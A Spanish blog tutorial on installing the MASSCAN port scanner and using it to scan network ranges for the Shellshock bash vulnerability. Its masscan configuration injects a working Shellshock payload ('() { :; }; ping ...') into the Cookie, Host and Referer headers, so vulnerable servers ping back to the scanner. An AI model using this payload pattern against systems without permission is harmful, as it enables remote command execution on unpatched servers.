Probando el nuevo popular Port Scaner MASSCAN - ShellShock

hace un tiempo me encante por la velocidad de escaneo de esta herramienta hablo de MASSCAN un TCP Port Scanner, asi que hablaremos de su gran ventaja con las millones de herramientas que existen para este tema.

MASSCAN hasta el momento es el Port Scanner mas rapido que he utilizado, su velocidad de escaneo y respuesta es muy interesante ademas que no tiene nada que envidiar a Nmap en nada, los resultados que produce son muy similares a Nmap, pero internamente trabaja como ZMap utilizando transmisión asíncrona. La principal diferencia es que es más rápido que estos otros escáneres. Además, es más flexible y permite intervalos de direcciones y rangos de puertos arbitrarios.

Según su creador Rober Graham (@ErrataRob) MASSCAN es capaz de escanear todo Internet en tan solo 3 minutos.
Mediante un PC con un procesador de 4 núcleos y una tarjeta ethernet dual-port de 10gbs teóricamente puede transmitir 25 millones de paquetes por segundo lo que equivale a los 3 minutos.

10gbs de conexión muy difícil de tener en estos tiempos. pero igualmente supera en mucho en cuanto a velocidad sus homogéneos.

Instalación en Maquina CentOS:
debemos instalar los requisitos de la herramienta:
  1. sudo yum -y install git gcc make libpcap libpcap-devel clang clang-devel

Nos descargamos e instalamos la herramienta
  1. git clone https://github.com/robertdavidgraham/masscan
  2. cd masscan
  3. make -j
  4. sudo cp bin/masscan /bin/masscan
  5. cd ..
  6. rm -rf masscan

Al ejecutar MASSCAN nos muestra en pantalla como usarlo

como vemos en la imagen anterior su uso es similar a NMAP 
en la cual en el ejmplo se observa el escanear la direccion 10.0.0.0 con mascara 8 y sus 16 millones de direcciones:

Network:    10.0.0.0/8           00001010. 00000000.00000000.00000000
HostMin:10.0.0.100001010. 00000000.00000000.00000001
HostMax:10.255.255.25400001010. 11111111.11111111.11111110
Broadcast:10.255.255.25500001010. 11111111.11111111.11111111
Hosts/Net:16777214Class APrivate Internet

las exploraciones se hará al puerto 80 y el rango 8000-8100 



Analizando vulnerabilidad SHELLSHOCK
para realizar este análisis hay que descargarse el parche de MASSCAN de modificar las cabeceras HTTP
  1. git clone https://github.com/robertdavidgraham/masscan
  2. cd masscan/src/
  3. rm proto-http.c
  4. wget https://raw.githubusercontent.com/robertdavidgraham/masscan/master/src/proto-http.c
  5. cd ..
  6. make

ahora debemos crear un archivo de "configuración" para realizar el escaneo

  1. objetivo-ip = xxxxx/24
  2. port = 80
  3. = banners verdadera
  4. http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
  5. http-header[Cookie] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
  6. http-header[Host] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
  7. http-header[Referer] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx
Donde las xxx.xxx.xxx.xxx colocar la IP de la maquina la cual hace el scan y asi las maquinas vulnerables hace ping a esa IP.

Esta configuración de MASSCAN inyecta un comando shell en las cabeceras HTTP Cookies, Host y Referer. Si el servidor remoto es vulnerable a la falla de seguridad "Shellshock" y  una de las variables de la Cookie,

Host y Referer se utilizan como variables de entorno cuando se llama a un módulo de CGI.
En el caso de nuestra configuración si el servidor es vulnerable a "shellshock" deberíamos recibir un ping de esa maquina.

Ejecutamos dos terminales en la maquina, en el primer terminar se debe ejecutar TCPDUMP con el fin de mostrarnos todas las solicitudes de ping entrantes y nos permita identificar todas las maquinas vulnerables.
  1. sudo tcpdump -v icmp
en la segunda terminal ejecuto MASSCAN con la configuración anteriormente creada
  1. sudo masscan -c masscan.conf

este es el resultado alojado.

En el cual veo respuesta de una maquina vulnerable.

Esto es todo amigos espero que les sirva de algo, a mi me ha gustado jugar con esta herramienta y sobre todo con la nueva vul. ShellShock jeje

Hasta otra ;)
mas información sobre la herramienta: